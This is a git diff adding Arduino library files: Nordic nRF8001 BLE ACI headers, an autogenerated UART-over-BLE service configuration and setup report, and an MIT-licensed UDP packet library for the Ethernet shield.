lib_aci_open_adv_pipes(const uint8_t * const adv_service_data_pipes); + + +//@} + +/** @name ACI commands available in Connected mode */ +//@{ + + +/** @brief Sets a given application latency. + * @details This function sends a @c setApplicationLatency command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_set_app_latency(uint16_t latency, aci_app_latency_mode_t latency_mode); + +/** @brief Opens a remote pipe. + * @details This function sends an @c OpenRemotePipe command. + * @param pipe Number of the pipe to open. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_open_remote_pipe(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Closes a remote pipe. + * @details This function sends an @c CloseRemotePipe command. + * @param pipe Pipe number to close. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_close_remote_pipe(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Sends data on a given pipe. + * @details This function sends a @c SendData command with application data to + * the radio. This function memorizes credit use, and checks that + * enough credits are available. + * @param pipe Pipe number on which the data should be sent. + * @param value Pointer to the data to send. + * @param size Size of the data to send. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_send_data(uint8_t pipe, uint8_t *value, uint8_t size); + +/** @brief Requests data from a given pipe. + * @details This function sends a @c RequestData command to the radio. This + * function memorizes credit uses, and check that enough credits are available. + * After this command, the radio sends back either a @c DataReceivedEvent + * or a @c PipeErrorEvent. + * @param pipe Pipe number on which the data is requested. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_request_data(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Sends a L2CAP change connection parameters request. + * @details This function sends a @c ChangeTiming command to the radio. This command triggers a "L2CAP change connection parameters" request + * to the master. If the master rejects or accepts but doesn't change the connection parameters within + * 30 seconds, a timing event with the unchanged connection parameters is sent by the radio. + * If the request is accepted and the master changes connection parameters, a timing event with + * the new connection parameters is sent by the radio. + * If the master doesn't reply to the request within 60 seconds, the radio disconnects. + * @param minimun_cx_interval Minimum connection interval requested, in multiple of 1.25 ms. + * @param maximum_cx_interval Maximum connection interval requested, in multiple of 1.25 ms. + * @param slave_latency requested slave latency. + * @param timeout requested slave timeout, in multiple of 10 ms. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_change_timing(uint16_t minimun_cx_interval, uint16_t maximum_cx_interval, uint16_t slave_latency, uint16_t timeout); + +/** @brief Sends a L2CAP change connection parameters request with the connection predefined preffered connection parameters. + * @details This function sends a @c ChangeTiming command to the radio. This command triggers a "L2CAP change connection parameters" request + * to the master. If the master rejects or accepts but doesn't change the connection parameters within + * 30 seconds, a timing event with the unchanged connection parameters is sent by the radio. + * If the request is accepted and the master changes connection parameters, a timing event with + * the new connection parameters is sent by the radio. + * If the master doesn't reply to the request within 60 seconds, the radio disconnects. + * The timing parameters used are the Timing parameters in the GAP settings in the nRFgo Studio. + * The Timing parameters as stored as the GAP Preferred Peripheral Connection Parameters. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_change_timing_GAP_PPCP(void); + +/** @brief Sends acknowledgement message to peer. + * @details This function sends @c SendDataAck command to radio. The radio is expected + * to send either Handle Value Confirmation or Write response depending + * on whether the data is stored remotely or locally. + * @param pipe Pipe number for which the acknowledgement is to be sent. + * @return True if the ack was sent successfully. False otherwise. +*/ +bool lib_aci_send_ack(aci_state_t *aci_stat, const uint8_t pipe); + +/** @brief Sends negative acknowledgement message to peer. + * @details This function sends @c SendDataNack command to radio. The radio is expected + * to send Error Response to the peer. + * @param pipe Pipe number for which the nack is to be sent. + * @param error_code Error code to be sent in the NACk. + * @return True if the nack was sent successfully. False otherwise. +*/ +bool lib_aci_send_nack(aci_state_t *aci_stat, const uint8_t pipe, const uint8_t error_code); + +/** @brief Sends ReadDynamicData command to the host. + * @details This function sends @c ReadDynamicData command to host. The host is expected + * to send @c CommandResponse back with the dynamic data. The application is expected to + * call this function in a loop until all the dynamic data is read out from the host. + * As long as there is dynamic data to be read from the host, the command response + * for this message has its status field set to ACI_STATUS_TRANSACTION_CONTINUE (0x01). + * The application may chose to store this read out data in a non-volatile memory location + * and later chose to write it back using the function lib_aci_write_dynamic_data. + * @return True if the command was sent successfully through the ACI. False otherwise. +*/ +bool lib_aci_read_dynamic_data(void); + +/** @brief Sends WriteDynamicData command to the host. + * @details This function sends @c WriteDynamicData command to host. The host is expected + * to send @c CommandResponse with the status of this operation. As long as the status field + * in the @c CommandResponse is ACI_STATUS_TRANSACTION_CONTINUE (0x01), the hosts expects + * more dynamic data to be written. This function should ideally be called in a cycle, + * until all the stored dynamic data is sent to the host. This function should be + * called with the dynamic data obtained from the response to a @c ReadDynamicData + * (see @c lib_aci_read_dynamic_data) command. + * @param sequence_number Sequence number of the dynamic data to be sent. + * @param dynamic_data Pointer to the dynamic data. + * @param length Length of the dynamic data. + * @return True if the command was sent successfully through the ACI. False otherwise. +*/ +bool lib_aci_write_dynamic_data(uint8_t sequence_number, uint8_t* dynamic_data, uint8_t length); +//@} + +/** @name ACI commands available while connected in Bond mode */ +//@{ + +/** @brief Sends a SMP Security Request. + * @details This function send a @c BondRequest command to the radio. + * This command triggers a SMP Security Request to the master. If the + * master rejects with a pairing failed or if the bond timer expires the connection is closed. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_bond_request(void); + +/** @brief Set the key requested by the 8001. + * @details This function sends an @c SetKey command to the radio. + * @param key_rsp_type Type of key. + * @param key Pointer to the key to set. + * @param len Length of the key. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_set_key(aci_key_type_t key_rsp_type, uint8_t *key, uint8_t len); + +//@} + + + +/** @name ACI commands available in Test mode */ +//@{ + +/** @brief Sends an echo message + * @details This function sends an @c Echo command to the radio. lib_aci + * places the Echp ACI command in the ACI command queue + * @param message_size Length of the data to send. + * @param message_data Pointer to the data to send. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_echo_msg(uint8_t message_size, uint8_t *message_data); + +/** @brief Sends an DTM command + * @details This function sends an @c DTM command to the radio. + * @param dtm_command_msbyte Most significant byte of the DTM command. + * @param dtm_command_lsbyte Least significant byte of the DTM command. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_dtm_command(uint8_t dtm_command_msbyte, uint8_t dtm_command_lsbyte); + +/** @brief Gets an ACI event from the ACI Event Queue + * @details This function gets an ACI event from the ACI event queue. + * The queue is updated by the SPI driver for the ACI running in the interrupt context + * @param aci_stat pointer to the state of the ACI. + * @param p_aci_data pointer to the ACI Event. The ACI Event received will be copied into this pointer. + * @return True if an ACI Event was copied to the pointer. +*/ +bool lib_aci_event_get(aci_state_t *aci_stat, hal_aci_evt_t * aci_evt); + +/** @brief Flushes the events in the ACI command queues and ACI Event queue + * +*/ +void lib_aci_flush(void); + +//@} + +/** @} */ + +#endif /* LIB_ACI_H__ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml new file mode 100755 index 0000000..765cbcd --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml @@ -0,0 +1,142 @@ + + + + 0 + nRF8001_Dx + + UART over BTLE + 0001 + + UART RX + 0002 + + 0 + + 20 + 2 + false + + true + false + false + false + false + + false + false + + 0 + + + + UART TX + 0003 + + 0 + + 20 + 2 + false + + false + false + true + false + false + + false + false + + 0 + + + + + Device Information + 180a + + Hardware Revision String + 2a27 + 0A + 0 + + 9 + 2 + false + + false + false + false + false + false + + true + false + + 0 + + + + + UART + 7 + true + 0 + 0000 + 0 + 0 + 0 + 600 + 0 + 7 + 16 + 1a + 1a + 10 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 6 + 18 + 0 + 10 + + 0001 + + + + 19 + 0000 + + + 18 + + + + + + 1 + 1 + 3 + 0 + 0 + 0 + 0 + false + + + 220 + 10 + 1000 + 10 + 10 + 1280 + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h new file mode 100755 index 0000000..3b088fc --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h @@ -0,0 +1,164 @@ +/* Copyright (c) 2012 Nordic Semiconductor. All Rights Reserved. +* +* The information contained herein is property of Nordic Semiconductor ASA. +* Terms and conditions of usage are described in detail in NORDIC +* SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. +* +* Licensees are granted free, non-transferable use of the information. NO +* WARRANTY of ANY KIND is provided. This heading must NOT be removed from +* the file. +*/ + +/** +* This file is autogenerated by nRFgo Studio 1.14.1.2369 +*/ + +#ifndef SETUP_MESSAGES_H__ +#define SETUP_MESSAGES_H__ + +#include "hal_platform.h" +#include "aci.h" +#define PIPE_GAP_DEVICE_NAME_SET 1 +#define PIPE_UART_OVER_BTLE_UART_RX_RX 2 +#define PIPE_UART_OVER_BTLE_UART_TX_TX 3 +#define PIPE_DEVICE_INFORMATION_HARDWARE_REVISION_STRING_SET 4 + +#define NUMBER_OF_PIPES 4 + +#define SERVICES_PIPE_TYPE_MAPPING_CONTENT {\ + {ACI_STORE_LOCAL, ACI_SET}, \ + {ACI_STORE_LOCAL, ACI_RX}, \ + {ACI_STORE_LOCAL, ACI_TX}, \ + {ACI_STORE_LOCAL, ACI_SET}, \ +} + +#define GAP_PPCP_MAX_CONN_INT 0x12 /**< Maximum connection interval as a multiple of 1.25 msec , 0xFFFF means no specific value requested */ +#define GAP_PPCP_MIN_CONN_INT 0x6 /**< Minimum connection interval as a multiple of 1.25 msec , 0xFFFF means no specific maximum*/ +#define GAP_PPCP_SLAVE_LATENCY 0 +#define GAP_PPCP_CONN_TIMEOUT 0xa /** Connection Supervision timeout multiplier as a multiple of 10msec, 0xFFFF means no specific value requested */ + +#define NB_SETUP_MESSAGES 21 +#define SETUP_MESSAGES_CONTENT {\ + {0x00,\ + {\ + 0x07,0x06,0x00,0x00,0x03,0x02,0x41,0xd7,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x04,0x01,0x01,0x00,0x00,0x06,0x00,0x00,\ + 0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x1c,0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x14,0x03,0x90,0x01,0x64,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x38,0x02,0xff,0x02,0x58,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x05,0x06,0x10,0x54,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x00,0x04,0x04,0x02,0x02,0x00,0x01,0x28,0x00,0x01,0x00,0x18,0x04,0x04,0x05,0x05,0x00,\ + 0x02,0x28,0x03,0x01,0x0e,0x03,0x00,0x00,0x2a,0x04,0x14,0x07,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x1c,0x04,0x00,0x03,0x2a,0x00,0x01,0x55,0x41,0x52,0x54,0x69,0x63,0x73,0x04,0x04,0x05,\ + 0x05,0x00,0x04,0x28,0x03,0x01,0x02,0x05,0x00,0x01,0x2a,0x06,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x38,0x04,0x03,0x02,0x00,0x05,0x2a,0x01,0x01,0x00,0x00,0x04,0x04,0x05,0x05,0x00,0x06,\ + 0x28,0x03,0x01,0x02,0x07,0x00,0x04,0x2a,0x06,0x04,0x09,0x08,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x54,0x00,0x07,0x2a,0x04,0x01,0x06,0x00,0x12,0x00,0x00,0x00,0x0a,0x00,0x04,0x04,0x02,\ + 0x02,0x00,0x08,0x28,0x00,0x01,0x01,0x18,0x04,0x04,0x10,0x10,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x70,0x00,0x09,0x28,0x00,0x01,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,\ + 0xb5,0x01,0x00,0x40,0x6e,0x04,0x04,0x13,0x13,0x00,0x0a,0x28,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x8c,0x03,0x01,0x04,0x0b,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,\ + 0xb5,0x02,0x00,0x40,0x6e,0x44,0x10,0x14,0x00,0x00,0x0b,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xa8,0x02,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x13,0x13,0x00,0x0c,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xc4,0x28,0x03,0x01,0x10,0x0d,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,\ + 0xa3,0xb5,0x03,0x00,0x40,0x6e,0x14,0x00,0x14,0x00,0x00,0x0d,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xe0,0x00,0x03,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x14,0x03,0x02,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xfc,0x0e,0x29,0x02,0x01,0x00,0x00,0x04,0x04,0x02,0x02,0x00,0x0f,0x28,0x00,0x01,0x0a,\ + 0x18,0x04,0x04,0x05,0x05,0x00,0x10,0x28,0x03,0x01,0x02,0x11,\ + },\ + },\ + {0x00,\ + {\ + 0x19,0x06,0x21,0x18,0x00,0x27,0x2a,0x04,0x04,0x09,0x01,0x00,0x11,0x2a,0x27,0x01,0x0a,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x40,0x00,0x2a,0x00,0x01,0x00,0x80,0x04,0x00,0x03,0x00,0x00,0x00,0x02,0x02,0x00,0x08,0x04,\ + 0x00,0x0b,0x00,0x00,0x00,0x03,0x02,0x00,0x02,0x04,0x00,0x0d,\ + },\ + },\ + {0x00,\ + {\ + 0x0f,0x06,0x40,0x1c,0x00,0x0e,0x2a,0x27,0x01,0x00,0x80,0x04,0x00,0x11,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x13,0x06,0x50,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,0xb5,0x00,0x00,0x40,0x6e,\ + },\ + },\ + {0x00,\ + {\ + 0x0f,0x06,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x06,0x06,0xf0,0x00,0x03,0xd3,0x88,\ + },\ + },\ +} + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt new file mode 100755 index 0000000..30f4ff2 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt @@ -0,0 +1,117 @@ +------------------------------------------------------------------------------ + uBlue Setup generation report + Generated with uBlue setup DLL version: 1.0.0.16855 + Generated: Sat Jan 12 11:40:44 2013 (UTC) + This file is automatically generated, do not modify +------------------------------------------------------------------------------ + +[Counts] + +Setup data size = 547 bytes +Local database size = 302 bytes +Local attribute count = 4 +Remote attribute count = 0 +Total pipe count = 4 +Dynamic data size = 181 bytes (worst case) + +[Setup Area Layout] + +Setup area, total = 1595 bytes +Setup area, used = 370 bytes ( 23% of total ) +Local services = 302 bytes ( 81% of used ) +Remote services = 0 bytes ( 0% of used ) +Pipes = 40 bytes ( 10% of used ) +VS UUID area = 16 bytes ( 4% of used ) +Extended Attr area = 12 bytes ( 3% of used ) + +[Device Settings] + +Setup ID = 0x00000000 +Setup Format = 0x03 +Security = OPEN (0) +Bond Timeout = 600 +Security Request Delay = 0 +Change Timing Delay = 5 +Whitelist = Enabled + +[Advertisement Data] + +Bond Advertise = 0x00000014 [SERVICES_128_COMPLETE | LOCAL_NAME_COMPLETE] +Bond Scan Resp = 0x00000000 [] +General Advertise = 0x00000014 [SERVICES_128_COMPLETE | LOCAL_NAME_COMPLETE] +General Scan Resp = 0x00000000 [] +Broadcast Advertise = 0x00000010 [LOCAL_NAME_COMPLETE] +Broadcast Scan Resp = 0x00000000 [] + +Custom Bond Advertise = 0x00 [] +Custom Bond Scan Resp = 0x00 [] +Custom General Advertise = 0x00 [] +Custom General Scan Resp = 0x00 [] +Custom Broadcast Advertise = 0x00 [] +Custom Broadcast Scan Resp = 0x00 [] + +No custom AD types + +[Vendor Specific UUIDs] + +VS UUID #0 (type=0x02): 0x9E 0xCA 0xDC 0x24 0x0E 0xE5 0xA9 0xE0 0x93 0xF3 0xA3 0xB5 0x00 0x00 0x40 0x6E + +[Local Database] + +Handle Pipes Structure +------ ----- --------- +0x0001 +----- Service (Primary): "GAP" (01:0x1800) +0x0002 |----- |Characteristic: "Device Name" (01:0x2A00) [rd|wwr|wr] [rd:allow|wr:none] +0x0003 x |Value: {0x55 0x41 0x52 0x54} [rd:allow|wr:allow] +0x0004 |----- |Characteristic: "Appearance" (01:0x2A01) [rd] [rd:allow|wr:none] +0x0005 |Value: {0x00 0x00} [rd:allow|wr:none] +0x0006 |----- |Characteristic: "PPCP" (01:0x2A04) [rd] [rd:allow|wr:none] +0x0007 |Value: {0x06 0x00 0x12 0x00 0x00 0x00 0x0A 0x00} [rd:allow|wr:none] +0x0008 +----- Service (Primary): "GATT" (01:0x1801) +0x0009 +----- Service (Primary): "?" (02:0x0001) +0x000A |----- |Characteristic: "?" (02:0x0002) [wwr] [rd:allow|wr:none] +0x000B < |Value: {} [rd:none|wr:allow] +0x000C |----- |Characteristic: "?" (02:0x0003) [not] [rd:allow|wr:none] +0x000D > |Value: {} [rd:none|wr:none] +0x000E |----- |Descriptor: "Client Characteristic Configuration" (01:0x2902) Value: {0x00 0x00} [rd:allow|wr:allow] +0x000F +----- Service (Primary): "Device Info" (01:0x180A) +0x0010 |----- |Characteristic: "HW Rev" (01:0x2A27) [rd] [rd:allow|wr:none] +0x0011 x |Value: {0x0A} [rd:allow|wr:none] + +[Remote Database] + +Handle Pipes Structure +------ ----- --------- + +[Pipe Map] + +Pipe Store Type Service Char. CPF Desc. +---- ------ ------ ---------- --------- ----------- --------- +01 Local SET 01:0x1800 01:0x2A00 -- -- +02 Local RX 02:0x0001 02:0x0002 -- -- +03 Local TX 02:0x0001 02:0x0003 -- -- +04 Local SET 01:0x180A 01:0x2A27 -- -- + +[Setup Data] + +07-06-00-00-03-02-41-D7 +1F-06-10-00-00-00-00-00-00-00-04-00-04-01-01-00-00-06-00-00-90-00-00-00-00-00-00-00-00-00-00-00 +1F-06-10-1C-01-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-14-00-00-00-14-03-90-01-64 +1F-06-10-38-02-FF-02-58-00-05-00-00-00-00-00-00-00-00-00-00-00-10-00-00-00-00-00-00-00-00-00-00 +05-06-10-54-00-00 +1F-06-20-00-04-04-02-02-00-01-28-00-01-00-18-04-04-05-05-00-02-28-03-01-0E-03-00-00-2A-04-14-07 +1F-06-20-1C-04-00-03-2A-00-01-55-41-52-54-69-63-73-04-04-05-05-00-04-28-03-01-02-05-00-01-2A-06 +1F-06-20-38-04-03-02-00-05-2A-01-01-00-00-04-04-05-05-00-06-28-03-01-02-07-00-04-2A-06-04-09-08 +1F-06-20-54-00-07-2A-04-01-06-00-12-00-00-00-0A-00-04-04-02-02-00-08-28-00-01-01-18-04-04-10-10 +1F-06-20-70-00-09-28-00-01-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-01-00-40-6E-04-04-13-13-00-0A-28 +1F-06-20-8C-03-01-04-0B-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-02-00-40-6E-44-10-14-00-00-0B-00 +1F-06-20-A8-02-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-04-04-13-13-00-0C +1F-06-20-C4-28-03-01-10-0D-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-03-00-40-6E-14-00-14-00-00-0D +1F-06-20-E0-00-03-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-46-14-03-02-00 +1F-06-20-FC-0E-29-02-01-00-00-04-04-02-02-00-0F-28-00-01-0A-18-04-04-05-05-00-10-28-03-01-02-11 +19-06-21-18-00-27-2A-04-04-09-01-00-11-2A-27-01-0A-00-00-00-00-00-00-00-00-00 +1F-06-40-00-2A-00-01-00-80-04-00-03-00-00-00-02-02-00-08-04-00-0B-00-00-00-03-02-00-02-04-00-0D +0F-06-40-1C-00-0E-2A-27-01-00-80-04-00-11-00-00 +13-06-50-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-00-00-40-6E +0F-06-60-00-00-00-00-00-00-00-00-00-00-00-00-00 +06-06-F0-00-83-42-00 diff --git a/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt b/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt new file mode 100755 index 0000000..c9ebc48 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt @@ -0,0 +1,7 @@ +These files augment the Ethernet library as distributed with Arduino0012, which in turn appears to include +application sample code from WIZnet. Eventually, we'll have to modify the underlying socket code of that library to fix buffer overflow risks and to better conserve precious Arduino RAM. + +For more information, look at: +http://code.rancidbacon.com/LearningAboutArduinoWIZ810MJ +http://trac.mlalonde.net/cral/browser/branches/follower/wiz810mj +12/31/08 \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp new file mode 100755 index 0000000..c0a2e6b --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp @@ -0,0 +1,156 @@ +/* + * UdpBytewise.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * Drop UdpBytewise.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet/ + * TODO: should protect buffer access with critical sections + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +extern "C" { +#include "types.h" +#include "w5100.h" +#include "socket.h" +} + +#include "Ethernet.h" +#include "UdpBytewise.h" + +/* Start UDP socket, listening at local port PORT */ +void UdpBytewiseClass::begin(uint16_t port) { + _port = port; + _sock = 0; //TODO: should not be hardcoded + _txIndex =0; + _rxIndex =0; + _rxSize = 0; + _txOverflowStrategy = UDP_TX_OVERFLOW_SPLIT; + socket(_sock,Sn_MR_UDP,_port,0); +} + + +/* Is data available in rx buffer? Returns 0 if no, number of available bytes if yes. */ +int UdpBytewiseClass::available() { + if(_rxSize==0 || _rxSize-_rxIndex==0) { + //if local buffer is empty or depleted + //check wiz5100 buffer for new packet + _rxSize = getSn_RX_RSR(_sock); //note: return value is inflated by 8 byte header + if(_rxSize){ + //if we have a new packet there + //reset buffer index + _rxIndex=0; + //copy packet into our local buffer + _rxSize = recvfrom(_sock,_rxBuffer,_rxSize-8,_rxIp,&_rxPort); + } else { + //else do nothing and rxsize is still 0 + ; + } + return _rxSize; //return the new number of bytes in our buffer + } else{ + //if buffer is not empty, return remaining # of bytes + return (_rxSize-_rxIndex); + } +} + + +/* Start a new packet with given target ip and port + * returns 1 on success, 0 if we already started a packet */ +int UdpBytewiseClass::beginPacket(uint8_t *ip, unsigned int port) { + if(_txIndex==0) { + //ok to start new packet - copy ip and port + _txIp[0]=ip[0]; + _txIp[1]=ip[1]; + _txIp[2]=ip[2]; + _txIp[3]=ip[3]; + _txPort = port; + return 1; + } + else { + //we already started a packet and have data in it + return 0; + } +} + + +/* Add a byte to the currently assembled packet if there is space + * if there isn't space, either truncate (ignore) or split the packet. + */ +void UdpBytewiseClass::write(uint8_t b) { + if(_txIndex>= UDP_TX_PACKET_MAX_SIZE) { + //buffer is full - we can either truncate the packet or split in two + switch (_txOverflowStrategy) { + case UDP_TX_OVERFLOW_SPLIT: + endPacket(); + beginPacket(_txIp,_txPort); + //fall through to normal add of byte to buffer below + break; + case UDP_TX_OVERFLOW_TRUNCATE: + default: + //don't add - just ignore bytes past buffer size + return; + } + } + _txBuffer[_txIndex++] = b; +} + +/* send an assembled packet out + * returns # of bytes sent on success, 0 if there's nothing to send */ +int UdpBytewiseClass::endPacket() { + // send the packet + uint16_t result = sendto(_sock,(const uint8_t *)_txBuffer,_txIndex,_txIp,_txPort); + // reset buffer index + _txIndex=0; + // return sent bytes + return (int)result; +} + +/* read the next byte of the last rececived packet */ +int UdpBytewiseClass::read() { + if(_rxIndex < _rxSize) { + // if there is something to be read, return the next byte + return _rxBuffer[_rxIndex++]; + } else { + //we already sent the last byte - nothing to do + return -1; + } +} + +void UdpBytewiseClass::getSenderIp(uint8_t*ip) { + ip[0]=_rxIp[0]; + ip[1]=_rxIp[1]; + ip[2]=_rxIp[2]; + ip[3]=_rxIp[3]; +} + +unsigned int UdpBytewiseClass::getSenderPort() { + return _rxPort; +} + +/* what should we do when we try to add to a full outgoing packet? + * UDP_TX_OVERFLOW_TRUNCATE - throw overflow bytes away + * UDP_TX_OVERFLOW_SPLIT - split into multiple packets + */ +void UdpBytewiseClass::setOverflowStrategy(uint8_t strategy) { + _txOverflowStrategy = strategy; +} + +/* Create one global object */ +UdpBytewiseClass UdpBytewise; diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h new file mode 100755 index 0000000..0f3b400 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h @@ -0,0 +1,81 @@ +/* + * UdpBytewise.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * Drop UdpBytewise.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet + * + * NOTE: UDP is fast, but has some important limitations (thanks to Warren Gray for mentioning these) + * 1) UDP does not guarantee the order in which assembled UDP packets are received. This + * might not happen often in practice, but in larger network topologies, a UDP + * packet can be received out of sequence. + * 2) UDP does not guard against lost packets - so packets *can* disappear without the sender being + * aware of it. Again, this may not be a concern in practice on small local networks. + * For more information, see http://www.cafeaulait.org/course/week12/35.html + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +#ifndef UdpBytewise_h +#define UdpBytewise_h + +#include "Print.h" + +#define UDP_TX_PACKET_MAX_SIZE 32 +#define UDP_RX_PACKET_MAX_SIZE 32 + +#define UDP_TX_OVERFLOW_TRUNCATE 0 +#define UDP_TX_OVERFLOW_SPLIT 1 + +class UdpBytewiseClass: public Print { +private: + uint8_t _sock; // socket ID for Wiz5100 + 